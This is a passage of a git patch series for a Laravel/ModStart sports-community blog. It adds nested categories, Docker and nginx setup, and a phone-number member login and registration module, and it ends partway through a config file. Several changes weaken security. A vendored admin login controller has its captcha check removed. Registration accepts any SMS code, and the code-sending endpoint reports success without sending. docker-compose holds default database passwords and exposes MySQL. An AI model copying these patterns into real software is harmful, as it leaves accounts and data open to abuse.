From 2cb6b54ad9cc1ed340eb08186669518486355184 Mon Sep 17 00:00:00 2001 From: finalxcode Date: Fri, 25 Apr 2025 18:07:28 +0800 Subject: [PATCH 01/68] =?UTF-8?q?=E5=88=86=E7=B1=BB=E6=94=AF=E6=8C=81?= =?UTF-8?q?=E5=A4=9A=E4=B8=AA=E5=B1=82=E7=BA=A7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Controller/BlogCategoryController.php | 2 +- module/Blog/Model/BlogCategory.php | 21 ++++++++++++++++--- 2 files changed, 19 insertions(+), 4 deletions(-) diff --git a/module/Blog/Admin/Controller/BlogCategoryController.php b/module/Blog/Admin/Controller/BlogCategoryController.php index 5354b9f7..85971551 100644 --- a/module/Blog/Admin/Controller/BlogCategoryController.php +++ b/module/Blog/Admin/Controller/BlogCategoryController.php @@ -42,6 +42,6 @@ protected function crud(AdminCRUDBuilder $builder) }) ->title('博客分类') ->asTree() - ->treeMaxLevel(2); + ->treeMaxLevel(5); } } diff --git a/module/Blog/Model/BlogCategory.php b/module/Blog/Model/BlogCategory.php index 1af1e5b3..e2c69ac4 100644 --- a/module/Blog/Model/BlogCategory.php +++ b/module/Blog/Model/BlogCategory.php @@ -1,12 +1,27 @@ hasMany(BlogCategory::class, 'pid', 'id'); + } + + public function parent() + { + return $this->belongsTo(BlogCategory::class, 'pid', 'id'); + } } From b54fffed2bd1bf045cd035127ee314df779f6bdd Mon Sep 17 00:00:00 2001 From: finalxcode Date: Fri, 25 Apr 2025 22:46:58 +0800 Subject: [PATCH 02/68] =?UTF-8?q?=E5=88=86=E7=B1=BB=E6=94=AF=E6=8C=81?= =?UTF-8?q?=E5=A4=9A=E4=B8=AA=E5=B1=82=E7=BA=A7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Dockerfile | 52 ++++++++++++++++ composer.json | 6 +- docker-compose.yml | 55 +++++++++++++++++ docker/nginx/default.conf | 31 ++++++++++ docker/php/Dockerfile | 59 +++++++++++++++++++ docker/php/docker-entrypoint.sh | 16 +++++ module/Blog/Model/BlogCategory.php | 27 +++++++++ nginx.conf | 38 ++++++++++++ public/images/new-user.png | 1 + storage/app/.gitignore | 0 storage/cache/.gitignore | 0 storage/framework/cache/.gitignore | 0 storage/framework/sessions/.gitignore | 0 storage/framework/views/.gitignore | 0 storage/logs/.gitignore | 0 .../src/Admin/Controller/AuthController.php | 34 +++-------- .../modstart/src/Core/Type/TreeAble.php | 24 ++++++++ .../modstart/views/inc/top-nav.blade.php | 55 +++++++++++++++++ 18 files changed, 369 insertions(+), 29 deletions(-) create mode 100644 Dockerfile create mode 100644 docker-compose.yml create mode 100644 docker/nginx/default.conf create mode 100644 docker/php/Dockerfile create mode 100644 docker/php/docker-entrypoint.sh create mode 100644 nginx.conf create mode 100644 public/images/new-user.png mode change 100644 => 100755 storage/app/.gitignore mode change 100644 => 100755 storage/cache/.gitignore mode change 100644 => 100755 storage/framework/cache/.gitignore mode change 100644 => 100755 storage/framework/sessions/.gitignore mode change 100644 => 100755 storage/framework/views/.gitignore mode change 100644 => 100755 storage/logs/.gitignore create mode 100644 vendor/modstart/modstart/src/Core/Type/TreeAble.php create mode 100644 vendor/modstart/modstart/views/inc/top-nav.blade.php diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 00000000..b3dcdc90 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,52 @@ +FROM php:7.0-fpm-alpine + +# Install system dependencies +RUN apk add --no-cache \ + git \ + curl \ + libpng-dev \ + oniguruma-dev \ + libxml2-dev \ + zip \ + unzip \ + libzip-dev \ + ttf-dejavu \ + ttf-freefont + +# Install PHP extensions +RUN docker-php-ext-install pdo_mysql mbstring exif pcntl bcmath gd zip + +# Get Composer 1.10 (compatible with PHP 7.0) +COPY --from=composer:1.10 /usr/bin/composer /usr/bin/composer + +# Set working directory +WORKDIR /var/www/html + +# Copy project files +COPY . . + +# Set git security directory +RUN git config --global --add safe.directory /var/www/html + +# Set memory limit for Composer +ENV COMPOSER_MEMORY_LIMIT=-1 + +# Install project dependencies +RUN composer install --no-interaction --no-dev --optimize-autoloader + +# Set correct permissions +RUN mkdir -p /var/www/html/storage/framework/sessions \ + /var/www/html/storage/framework/views \ + /var/www/html/storage/framework/cache \ + /var/www/html/storage/logs \ + /var/www/html/storage/app/public \ + /var/www/html/bootstrap/cache \ + /var/www/html/public/vendor/captcha/fonts + +RUN chown -R www-data:www-data /var/www/html/storage \ + /var/www/html/bootstrap/cache \ + /var/www/html/public/vendor/captcha + +RUN chmod -R 775 /var/www/html/storage \ + /var/www/html/bootstrap/cache \ + /var/www/html/public/vendor/captcha \ No newline at end of file diff --git a/composer.json b/composer.json index 3cad0a5a..c3d28961 100644 --- a/composer.json +++ b/composer.json @@ -7,9 +7,11 @@ "type": "project", "require": { "ext-json": "*", - "php": ">=5.5.9", + "php": ">=5.6.0", "laravel/framework": "5.1.*", - "modstart/modstart-laravel5": "dev-master" + "modstart/modstart-laravel5": "dev-master", + "league/commonmark": "0.18.5", + "league/commonmark-ext-table": "0.9.0" }, "minimum-stability": "dev", "prefer-stable": true, diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 00000000..c836700d --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,55 @@ +version: '3' + +services: + php: + build: + context: . + dockerfile: Dockerfile + platform: linux/amd64 + volumes: + - .:/var/www/html + environment: + - DB_HOST=mysql + - DB_PORT=3306 + - DB_DATABASE=modstart_blog + - DB_USERNAME=modstart + - DB_PASSWORD=secret + networks: + - app-network + + nginx: + image: nginx:alpine + platform: linux/amd64 + ports: + - "8000:80" + volumes: + - .:/var/www/html + - ./nginx.conf:/etc/nginx/conf.d/default.conf + depends_on: + - php + networks: + - app-network + + mysql: + image: mysql:5.7 + platform: linux/amd64 + ports: + - "3306:3306" + environment: + MYSQL_DATABASE: modstart_blog + MYSQL_ROOT_PASSWORD: root + MYSQL_PASSWORD: secret + MYSQL_USER: modstart + command: --default-authentication-plugin=mysql_native_password + volumes: + - dbdata:/var/lib/mysql + networks: + - app-network + +networks: + app-network: + driver: bridge + +volumes: + dbdata: + driver: local \ No newline at end of file diff --git a/docker/nginx/default.conf b/docker/nginx/default.conf new file mode 100644 index 00000000..080612e3 --- /dev/null +++ b/docker/nginx/default.conf @@ -0,0 +1,31 @@ +server { + listen 80; + index index.php index.html; + error_log /var/log/nginx/error.log; + access_log /var/log/nginx/access.log; + root /var/www/html/public; + + location / { + try_files $uri $uri/ /index.php?$query_string; + } + + location /install/ping { + try_files $uri $uri/ /index.php?$query_string; + access_log off; + } + + location ~ \.php$ { + try_files $uri =404; + fastcgi_split_path_info ^(.+\.php)(/.+)$; + fastcgi_pass app:9000; + fastcgi_index index.php; + include fastcgi_params; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + fastcgi_param PATH_INFO $fastcgi_path_info; + } + + # 禁止访问 .htaccess 文件 + location ~ /\.ht { + deny all; + } +} \ No newline at end of file diff --git a/docker/php/Dockerfile b/docker/php/Dockerfile new file mode 100644 index 00000000..1c4b779a --- /dev/null +++ b/docker/php/Dockerfile @@ -0,0 +1,59 @@ +FROM php:8.1-fpm-bullseye + +# 安装系统依赖 +RUN apt-get update && apt-get install -y \ + git \ + curl \ + libpng-dev \ + libonig-dev \ + libxml2-dev \ + zip \ + unzip \ + libfreetype6-dev \ + libjpeg62-turbo-dev \ + libpng-dev \ + zlib1g-dev + +# 安装 PHP 扩展 +RUN docker-php-ext-configure gd --with-freetype --with-jpeg \ + && docker-php-ext-install -j$(nproc) gd \ + && docker-php-ext-install pdo_mysql mbstring exif pcntl bcmath + +# 验证 GD 和 FreeType 是否正确安装 +RUN php -r 'var_dump(gd_info());' + +# 安装 Composer +COPY --from=composer:latest /usr/bin/composer /usr/bin/composer + +# 设置工作目录 +WORKDIR /var/www/html + +# 复制项目文件 +COPY . /var/www/html + +# 设置权限 +RUN chown -R www-data:www-data /var/www/html \ + && find /var/www/html/storage -type d -exec chmod 775 {} \; \ + && find /var/www/html/storage -type f -exec chmod 664 {} \; \ + && chmod -R ug+rwx /var/www/html/storage \ + && chmod -R ug+rwx /var/www/html/bootstrap/cache + +# 创建一个启动脚本 +COPY docker-entrypoint.sh /usr/local/bin/ +RUN chmod +x /usr/local/bin/docker-entrypoint.sh + +ENTRYPOINT ["docker-entrypoint.sh"] +CMD ["php-fpm"] + +# 设置 PHP 配置 +RUN echo "upload_max_filesize=100M" >> /usr/local/etc/php/conf.d/docker-php-ext-upload.ini \ + && echo "post_max_size=100M" >> /usr/local/etc/php/conf.d/docker-php-ext-upload.ini \ + && echo "memory_limit=512M" >> /usr/local/etc/php/conf.d/docker-php-ext-upload.ini \ + && echo "max_execution_time=600" >> /usr/local/etc/php/conf.d/docker-php-ext-upload.ini \ + && echo "max_input_time=600" >> /usr/local/etc/php/conf.d/docker-php-ext-upload.ini + +# 设置时区 +RUN echo "date.timezone=Asia/Shanghai" >> /usr/local/etc/php/conf.d/docker-php-ext-timezone.ini + +# 设置用户 +USER www-data \ No newline at end of file diff --git a/docker/php/docker-entrypoint.sh b/docker/php/docker-entrypoint.sh new file mode 100644 index 00000000..3dc9a4a3 --- /dev/null +++ b/docker/php/docker-entrypoint.sh @@ -0,0 +1,16 @@ +#!/bin/bash +set -e + +# 确保storage和bootstrap/cache目录存在 +mkdir -p /var/www/html/storage +mkdir -p /var/www/html/bootstrap/cache + +# 设置目录权限 +chown -R www-data:www-data /var/www/html +find /var/www/html/storage -type d -exec chmod 775 {} \; +find /var/www/html/storage -type f -exec chmod 664 {} \; +chmod -R ug+rwx /var/www/html/storage +chmod -R ug+rwx /var/www/html/bootstrap/cache + +# 执行传入的命令(通常是php-fpm) +exec "$@" \ No newline at end of file diff --git a/module/Blog/Model/BlogCategory.php b/module/Blog/Model/BlogCategory.php index e2c69ac4..9861471c 100644 --- a/module/Blog/Model/BlogCategory.php +++ b/module/Blog/Model/BlogCategory.php @@ -24,4 +24,31 @@ public function parent() { return $this->belongsTo(BlogCategory::class, 'pid', 'id'); } + + /** + * 获取树形结构的父级ID字段名 + * @return string + */ + public function getTreeParentIdField() + { + return 'pid'; + } + + /** + * 获取树形结构的排序字段名 + * @return string + */ + public function getTreeSortField() + { + return 'sort'; + } + + /** + * 获取树形结构的标题字段名 + * @return string + */ + public function getTreeTitleField() + { + return 'title'; + } } diff --git a/nginx.conf b/nginx.conf new file mode 100644 index 00000000..59767b72 --- /dev/null +++ b/nginx.conf @@ -0,0 +1,38 @@ +server { + listen 80; + server_name localhost; + root /var/www/html/public; + index index.php index.html index.htm; + + location / { + try_files $uri $uri/ /index.php?$query_string; + } + + # PHP-FPM Configuration + location ~ \.php$ { + try_files $uri =404; + fastcgi_split_path_info ^(.+\.php)(/.+)$; + fastcgi_pass php:9000; + fastcgi_index index.php; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + include fastcgi_params; + fastcgi_param PATH_INFO $fastcgi_path_info; + } + + # Deny access to .htaccess files + location ~ /\.ht { + deny all; + } + + # Cache static files + location ~* \.(jpg|jpeg|png|gif|ico|css|js|eot|ttf|woff|woff2)$ { + expires max; + add_header Cache-Control public; + access_log off; + } + + # Security headers + add_header X-Frame-Options "SAMEORIGIN"; + add_header X-XSS-Protection "1; mode=block"; + add_header X-Content-Type-Options "nosniff"; +} \ No newline at end of file diff --git a/public/images/new-user.png b/public/images/new-user.png new file mode 100644 index 00000000..0519ecba --- /dev/null +++ b/public/images/new-user.png @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/storage/app/.gitignore b/storage/app/.gitignore old mode 100644 new mode 100755 diff --git a/storage/cache/.gitignore b/storage/cache/.gitignore old mode 100644 new mode 100755 diff --git a/storage/framework/cache/.gitignore b/storage/framework/cache/.gitignore old mode 100644 new mode 100755 diff --git a/storage/framework/sessions/.gitignore b/storage/framework/sessions/.gitignore old mode 100644 new mode 100755 diff --git a/storage/framework/views/.gitignore b/storage/framework/views/.gitignore old mode 100644 new mode 100755 diff --git a/storage/logs/.gitignore b/storage/logs/.gitignore old mode 100644 new mode 100755 diff --git a/vendor/modstart/modstart/src/Admin/Controller/AuthController.php b/vendor/modstart/modstart/src/Admin/Controller/AuthController.php index 2be4bb11..5be5d896 100644 --- a/vendor/modstart/modstart/src/Admin/Controller/AuthController.php +++ b/vendor/modstart/modstart/src/Admin/Controller/AuthController.php @@ -70,18 +70,6 @@ public function login() return Response::json(-2, L('Password Required')); } } - if (config('modstart.admin.login.captcha', false)) { - if ($captchaProvider) { - $ret = $captchaProvider->validate(); - if (Response::isError($ret)) { - return Response::jsonFromGenerate($ret); - } - } else { - if (!CaptchaFacade::check($input->getTrimString('captcha'))) { - return Response::json(-1, L('Captcha Incorrect'), null, "[ijs]$('[data-captcha]').click();"); - } - } - } if ($isSmsCaptchaQuickLogin) { /** @var $smsCaptchaProvider \Module\CaptchaSms\Provider\SmsCaptchaProvider */ $smsCaptchaProvider = $captchaProvider; @@ -152,22 +140,14 @@ public function loginQuick() public function logout() { $adminUserId = Admin::id(); - Session::forget(Admin::ADMIN_USER_ID_SESSION_KEY); - AdminUserLogoutEvent::fire($adminUserId, Request::ip(), AgentUtil::getUserAgent()); - if (modstart_config('adminSSOClientEnable', false)) { - $input = InputPackage::buildFromInput(); - if ($input->getTrimString('server', '') != 'true') { - $ssoServer = modstart_config('adminSSOServer'); - if (empty($ssoServer)) { - return Response::send(-1, L('Config adminSSOServer missing')); - } - $clientRedirect = $input->getTrimString('redirect', '/'); - $clientLogout = Request::domainUrl() . '/logout?server=true&redirect=' . urlencode($clientRedirect); - $ssoServerLogout = $ssoServer . '_logout?redirect=' . urlencode($clientLogout); - return Response::redirect($ssoServerLogout); - } + if ($adminUserId) { + Admin::addInfoLog($adminUserId, L('Logout Success'), [ + 'IP' => Request::ip(), + ]); + AdminUserLogoutEvent::fire($adminUserId, Request::ip(), AgentUtil::getUserAgent()); } - return Response::redirect(modstart_admin_url()); + Session::forget(Admin::ADMIN_USER_ID_SESSION_KEY); + return Response::redirect(modstart_admin_url('login')); } public function ssoClient() diff --git a/vendor/modstart/modstart/src/Core/Type/TreeAble.php b/vendor/modstart/modstart/src/Core/Type/TreeAble.php new file mode 100644 index 00000000..80a0925f --- /dev/null +++ b/vendor/modstart/modstart/src/Core/Type/TreeAble.php @@ -0,0 +1,24 @@ + +
+
+ 欢迎访问的运动圈 +
+ +
+ + + \ No newline at end of file From f7b83460d96aa3c6fc8ab454993fabccdfd6704a Mon Sep 17 00:00:00 2001 From: finalxcode Date: Sat, 26 Apr 2025 08:20:06 +0800 Subject: [PATCH 03/68] =?UTF-8?q?=E5=88=86=E7=B1=BB=E6=94=AF=E6=8C=81?= =?UTF-8?q?=E5=A4=9A=E4=B8=AA=E5=B1=82=E7=BA=A7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- app/Providers/RouteServiceProvider.php | 19 ++ app/Web/routes.php | 20 +- module/Blog/Member/Auth/MemberUser.php | 46 +++++ .../Blog/Member/Controller/AuthController.php | 130 ++++++++++++ .../Member/Controller/IndexController.php | 25 +++ .../Blog/Member/Controller/TestController.php | 13 ++ ..._04_26_000000_create_blog_member_table.php | 35 ++++ module/Blog/Member/MemberServiceProvider.php | 39 ++++ .../Member/Middleware/WebAuthMiddleware.php | 27 +++ module/Blog/Member/Model/Member.php | 24 +++ module/Blog/Member/View/auth/login.blade.php | 80 ++++++++ .../Blog/Member/View/auth/register.blade.php | 190 ++++++++++++++++++ .../Member/View/inc/headerLinks.blade.php | 8 + .../Member/View/inc/memberLinks.blade.php | 39 ++++ module/Blog/Member/View/layout/auth.blade.php | 49 +++++ .../Blog/Member/View/layout/frame.blade.php | 68 +++++++ module/Blog/Member/View/test/index.blade.php | 12 ++ module/Blog/Member/routes.php | 26 +++ module/Blog/Web/routes.php | 19 +- module/Blog/config.json | 57 +++--- module/Site/Web/routes.php | 20 +- .../theme/default/pc/share/header.blade.php | 25 +-- routes/web.php | 14 ++ 23 files changed, 915 insertions(+), 70 deletions(-) create mode 100644 module/Blog/Member/Auth/MemberUser.php create mode 100644 module/Blog/Member/Controller/AuthController.php create mode 100644 module/Blog/Member/Controller/IndexController.php create mode 100644 module/Blog/Member/Controller/TestController.php create mode 100644 module/Blog/Member/Database/Migrations/2023_04_26_000000_create_blog_member_table.php create mode 100644 module/Blog/Member/MemberServiceProvider.php create mode 100644 module/Blog/Member/Middleware/WebAuthMiddleware.php create mode 100644 module/Blog/Member/Model/Member.php create mode 100644 module/Blog/Member/View/auth/login.blade.php create mode 100644 module/Blog/Member/View/auth/register.blade.php create mode 100644 module/Blog/Member/View/inc/headerLinks.blade.php create mode 100644 module/Blog/Member/View/inc/memberLinks.blade.php create mode 100644 module/Blog/Member/View/layout/auth.blade.php create mode 100644 module/Blog/Member/View/layout/frame.blade.php create mode 100644 module/Blog/Member/View/test/index.blade.php create mode 100644 module/Blog/Member/routes.php create mode 100644 routes/web.php diff --git a/app/Providers/RouteServiceProvider.php b/app/Providers/RouteServiceProvider.php index 83a921e9..0d85f2c8 100644 --- a/app/Providers/RouteServiceProvider.php +++ b/app/Providers/RouteServiceProvider.php @@ -35,5 +35,24 @@ public function boot(Router $router) */ public function map(Router $router) { + $this->mapWebRoutes($router); + } + + /** + * Define the "web" routes for the application. + * + * These routes all receive session state, CSRF protection, etc. + * + * @param \Illuminate\Routing\Router $router + * @return void + */ + protected function mapWebRoutes(Router $router) + { + $router->group([ + 'namespace' => $this->namespace, + 'middleware' => 'web', + ], function ($router) { + require base_path('routes/web.php'); + }); } } diff --git a/app/Web/routes.php b/app/Web/routes.php index c34ca339..05114fa9 100644 --- a/app/Web/routes.php +++ b/app/Web/routes.php @@ -1,17 +1,27 @@ ['web.bootstrap'], + 'namespace' => '\App\Web\Controller', + ], function () { + + Route::match(['get', 'post'], '', 'IndexController@index'); +}); + +// 需要登录的路由 +$authMiddlewares = [ 'web.bootstrap' ]; -if (class_exists(\Module\Member\Middleware\WebAuthMiddleware::class)) { - $middlewares[] = \Module\Member\Middleware\WebAuthMiddleware::class; +if (class_exists(\Module\Blog\Member\Middleware\WebAuthMiddleware::class)) { + $authMiddlewares[] = \Module\Blog\Member\Middleware\WebAuthMiddleware::class; } Route::group( [ - 'middleware' => $middlewares, + 'middleware' => $authMiddlewares, 'namespace' => '\App\Web\Controller', ], function () { - Route::match(['get', 'post'], '', 'IndexController@index'); Route::match(['get', 'post'], 'member/{id}', 'MemberController@show'); Route::match(['get', 'post'], 'member_profile', 'MemberProfileController@index'); diff --git a/module/Blog/Member/Auth/MemberUser.php b/module/Blog/Member/Auth/MemberUser.php new file mode 100644 index 00000000..352d6d3e --- /dev/null +++ b/module/Blog/Member/Auth/MemberUser.php @@ -0,0 +1,46 @@ + $member->id, + 'username' => $member->username, + 'phone' => $member->phone, + ]); + } + + public static function logout() + { + Session::forget(self::SESSION_KEY); + } + + public static function isLogin() + { + return Session::has(self::SESSION_KEY); + } + + public static function id() + { + return self::isLogin() ? Session::get(self::SESSION_KEY)['id'] : 0; + } + + public static function get($key = null) + { + if (!self::isLogin()) { + return null; + } + if (is_null($key)) { + return Session::get(self::SESSION_KEY); + } + return Session::get(self::SESSION_KEY)[$key] ?? null; + } +} diff --git a/module/Blog/Member/Controller/AuthController.php b/module/Blog/Member/Controller/AuthController.php new file mode 100644 index 00000000..6c968733 --- /dev/null +++ b/module/Blog/Member/Controller/AuthController.php @@ -0,0 +1,130 @@ +all(), [ + 'phone' => 'required|string', + 'password' => 'required|string', + ]); + + if ($validator->fails()) { + return back()->withErrors($validator)->withInput(); + } + + $member = Member::where('phone', $request->phone)->first(); + + if (!$member || !Hash::check($request->password, $member->password)) { + return back()->withErrors([ + 'phone' => '手机号或密码错误', + ])->withInput(); + } + + MemberUser::login($member); + + return redirect()->intended('/'); + } + + public function showRegisterForm() + { + if (MemberUser::isLogin()) { + return redirect('/'); + } + return view('blog.member::auth.register'); + } + + public function register(Request $request) + { + $validator = Validator::make($request->all(), [ + 'phone' => 'required|string|regex:/^1[3-9]\d{9}$/|unique:member,phone', + 'verify_code' => 'required|string', + 'password' => 'required|string|min:6', + ], [ + 'phone.required' => '请输入手机号', + 'phone.regex' => '请输入正确的手机号格式', + 'phone.unique' => '该手机号已被注册', + 'verify_code.required' => '请输入验证码', + 'password.required' => '请输入密码', + 'password.min' => '密码长度至少为6位', + ]); + + if ($validator->fails()) { + return back()->withErrors($validator)->withInput(); + } + + // 验证短信验证码 + // 这里应该添加验证短信验证码的逻辑 + // 为了演示,我们暂时跳过验证 + + $member = Member::create([ + 'phone' => $request->phone, + 'username' => '用户'.substr($request->phone, -4), + 'password' => $request->password, + 'status' => 1, + ]); + + MemberUser::login($member); + + return redirect('/'); + } + + public function logout() + { + MemberUser::logout(); + return redirect('/'); + } + + public function sendVerifyCode(Request $request) + { + $validator = Validator::make($request->all(), [ + 'phone' => 'required|string|regex:/^1[3-9]\d{9}$/', + ], [ + 'phone.required' => '请输入手机号', + 'phone.regex' => '请输入正确的手机号格式', + ]); + + if ($validator->fails()) { + return response()->json([ + 'success' => false, + 'message' => $validator->errors()->first() + ]); + } + + // 检查手机号是否已注册 + if ($request->has('check_exists') && $request->check_exists) { + $exists = Member::where('phone', $request->phone)->exists(); + if ($exists) { + return response()->json([ + 'success' => false, + 'message' => '该手机号已被注册' + ]); + } + } + + // 这里应该添加发送短信验证码的逻辑 + // 为了演示,我们返回成功 + + return response()->json([ + 'success' => true, + 'message' => '验证码已发送' + ]); + } +} diff --git a/module/Blog/Member/Controller/IndexController.php b/module/Blog/Member/Controller/IndexController.php new file mode 100644 index 00000000..bf499e8c --- /dev/null +++ b/module/Blog/Member/Controller/IndexController.php @@ -0,0 +1,25 @@ +index(); + + // 如果是视图响应,我们添加会员登录链接 + if ($response instanceof \Illuminate\View\View) { + $memberLinks = view('blog.member::inc.memberLinks')->render(); + $response->with('memberLinks', $memberLinks); + } + + return $response; + } +} diff --git a/module/Blog/Member/Controller/TestController.php b/module/Blog/Member/Controller/TestController.php new file mode 100644 index 00000000..57b48b95 --- /dev/null +++ b/module/Blog/Member/Controller/TestController.php @@ -0,0 +1,13 @@ +id(); + $table->string('username')->comment('用户名'); + $table->string('phone')->unique()->comment('手机号'); + $table->string('password')->comment('密码'); + $table->tinyInteger('status')->default(1)->comment('状态:1-正常,0-禁用'); + $table->timestamps(); + }); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + Schema::dropIfExists('blog_member'); + } +} diff --git a/module/Blog/Member/MemberServiceProvider.php b/module/Blog/Member/MemberServiceProvider.php new file mode 100644 index 00000000..4fadd770 --- /dev/null +++ b/module/Blog/Member/MemberServiceProvider.php @@ -0,0 +1,39 @@ +loadViewsFrom(__DIR__.'/View', 'blog.member'); + + // 为了兼容性,我们也注册一个blog::member前缀 + $this->app['view']->addNamespace('blog', base_path('module/Blog')); + + $this->loadRoutesFrom(__DIR__.'/routes.php'); + + // 添加视图合成器,在所有视图中添加会员登录状态 + $this->app['view']->composer('*', function ($view) { + $view->with('memberLoginLinks', view('blog.member::inc.headerLinks')->render()); + }); + } + + /** + * Register the module services. + * + * @return void + */ + public function register() + { + // 注册服务 + } +} diff --git a/module/Blog/Member/Middleware/WebAuthMiddleware.php b/module/Blog/Member/Middleware/WebAuthMiddleware.php new file mode 100644 index 00000000..973422e3 --- /dev/null +++ b/module/Blog/Member/Middleware/WebAuthMiddleware.php @@ -0,0 +1,27 @@ +ajax() || $request->wantsJson()) { + return response()->json(['success' => false, 'message' => '请先登录'], 401); + } + return redirect(modstart_web_url('blog/member/login')); + } + return $next($request); + } +} diff --git a/module/Blog/Member/Model/Member.php b/module/Blog/Member/Model/Member.php new file mode 100644 index 00000000..1944e1a3 --- /dev/null +++ b/module/Blog/Member/Model/Member.php @@ -0,0 +1,24 @@ +attributes['password'] = Hash::make($value); + } +} diff --git a/module/Blog/Member/View/auth/login.blade.php b/module/Blog/Member/View/auth/login.blade.php new file mode 100644 index 00000000..da00ee38 --- /dev/null +++ b/module/Blog/Member/View/auth/login.blade.php @@ -0,0 +1,80 @@ +@extends('blog.member::layout.auth') + +@section('title', '登录') + +@section('content') +
+
+
+
+
+ +
+

运动圈

+
+
+
+
+ @csrf +
+
+
+ + @if($errors->has('phone')) +
{{ $errors->first('phone') }}
+ @endif +
+
+
+
+ + @if($errors->has('password')) +
{{ $errors->first('password') }}
+ @endif +
+
+
+
+ +
+
+
+
+
+
+ +
+ +
+
+
+
+
+
+
+
+ + +@endsection diff --git a/module/Blog/Member/View/auth/register.blade.php b/module/Blog/Member/View/auth/register.blade.php new file mode 100644 index 00000000..24a8bb87 --- /dev/null +++ b/module/Blog/Member/View/auth/register.blade.php @@ -0,0 +1,190 @@ +@extends('blog.member::layout.auth') + +@section('title', '注册') + +@section('content') +
+
+
+
+
+ +
+

运动圈

+
+
+
+
+ @csrf +
+
+
+ + @if($errors->has('phone')) +
{{ $errors->first('phone') }}
+ @endif +
+
+
+
+ +
+
+
+
+ + +
+ @if($errors->has('verify_code')) +
{{ $errors->first('verify_code') }}
+ @endif +
+
+
+ + @if($errors->has('password')) +
{{ $errors->first('password') }}
+ @endif +
+
+
+
+ +
+
+
+
+
+ + + +
+
+
+
+
+
+ 非企业会员无权限分享品牌故事及发布运动器材与用品店 +
+
+
+
+
+
+
+ +
+ +
+
+
+
+
+
+
+
+ + +@endsection diff --git a/module/Blog/Member/View/inc/headerLinks.blade.php b/module/Blog/Member/View/inc/headerLinks.blade.php new file mode 100644 index 00000000..8b4d2381 --- /dev/null +++ b/module/Blog/Member/View/inc/headerLinks.blade.php @@ -0,0 +1,8 @@ + + + 登录 + + + + 注册 + diff --git a/module/Blog/Member/View/inc/memberLinks.blade.php b/module/Blog/Member/View/inc/memberLinks.blade.php new file mode 100644 index 00000000..beee1b1d --- /dev/null +++ b/module/Blog/Member/View/inc/memberLinks.blade.php @@ -0,0 +1,39 @@ +
+
+
+ + 会员中心 +
+
+
+ @if(\Module\Member\Auth\MemberUser::isLogin()) + + + @else + + + @endif +
+
+
+
diff --git a/module/Blog/Member/View/layout/auth.blade.php b/module/Blog/Member/View/layout/auth.blade.php new file mode 100644 index 00000000..ddc534af --- /dev/null +++ b/module/Blog/Member/View/layout/auth.blade.php @@ -0,0 +1,49 @@ + + + + + + @yield('title') - 博客系统 + + + + +
+ @yield('content') +
+ + + + diff --git a/module/Blog/Member/View/layout/frame.blade.php b/module/Blog/Member/View/layout/frame.blade.php new file mode 100644 index 00000000..8e7ca154 --- /dev/null +++ b/module/Blog/Member/View/layout/frame.blade.php @@ -0,0 +1,68 @@ + + + + + + + + + @yield('pageTitle') - {{modstart_config('siteName')}} + + + + {!! \ModStart\ModStart::css() !!} + {!! \ModStart\ModStart::style() !!} + @section('headAppend')@show + @yield('styles') + + +
+
+ + + + + + + +
+
+ +@yield('bodyContent') + + + +{!! \ModStart\ModStart::js() !!} +{!! \ModStart\ModStart::script() !!} +@section('bodyAppend')@show + + diff --git a/module/Blog/Member/View/test/index.blade.php b/module/Blog/Member/View/test/index.blade.php new file mode 100644 index 00000000..14de55ff --- /dev/null +++ b/module/Blog/Member/View/test/index.blade.php @@ -0,0 +1,12 @@ + + + + + + 测试页面 + + +

测试页面

+

如果你能看到这个页面,说明路由已经正确注册。

+ + diff --git a/module/Blog/Member/routes.php b/module/Blog/Member/routes.php new file mode 100644 index 00000000..24271fc4 --- /dev/null +++ b/module/Blog/Member/routes.php @@ -0,0 +1,26 @@ +name('blog.member.login'); +Route::post('blog/member/login', [AuthController::class, 'login']); + +// 注册相关路由 +Route::get('blog/member/register', [AuthController::class, 'showRegisterForm'])->name('blog.member.register'); +Route::post('blog/member/register', [AuthController::class, 'register']); + +// 验证码 +Route::post('blog/member/send-verify-code', [AuthController::class, 'sendVerifyCode']); + +// 需要登录的路由 +Route::group(['middleware' => [\Module\Blog\Member\Middleware\WebAuthMiddleware::class]], function () { + Route::get('blog/member/logout', [AuthController::class, 'logout'])->name('blog.member.logout'); +}); diff --git a/module/Blog/Web/routes.php b/module/Blog/Web/routes.php index 4b7cec41..f54f37a7 100644 --- a/module/Blog/Web/routes.php +++ b/module/Blog/Web/routes.php @@ -1,13 +1,8 @@ group([ - 'middleware' => $middleware, -], function () use ($router) { +// 公共路由,不需要登录 +$router->group([], function () use ($router) { $router->match(['get'], 'blog', 'IndexController@index'); $router->match(['get'], 'blog/about', 'AboutController@index'); @@ -17,7 +12,17 @@ $router->match(['get'], 'blogs', 'BlogController@index'); $router->match(['get'], 'blog/{id}', 'BlogController@show'); +}); +// 需要登录的路由 +$authMiddleware = []; +if (class_exists(\Module\Blog\Member\Middleware\WebAuthMiddleware::class)) { + $authMiddleware[] = \Module\Blog\Member\Middleware\WebAuthMiddleware::class; +} +$router->group([ + 'middleware' => $authMiddleware, +], function () use ($router) { + // 这里添加需要登录才能访问的路由 }); diff --git a/module/Blog/config.json b/module/Blog/config.json index ee88531e..f2cd2bb9 100644 --- a/module/Blog/config.json +++ b/module/Blog/config.json @@ -1,36 +1,25 @@ { - "name": "Blog", - "title": "博客系统", - "types": [ - "PC", - "Mobile" - ], - "require": [ - "Partner", - "Banner", - "Vendor:>=1.1.0" - ], - "env": [ - "laravel5", - "laravel9" - ], - "tags": [ - "博客" - ], - "modstartVersion": ">=4.0.0", - "version": "3.7.0", - "author": "ModStart", - "description": "提供一个基础的博客系统", - "suggest": [ - "Member", - "MemberFav", - "MemberLike", - "SiteMapManager", - "PayCenter", - "HotSearch", - "ShareJS", - "Notice", - "TagManager" - ], - "config": {} + "name": "Blog", 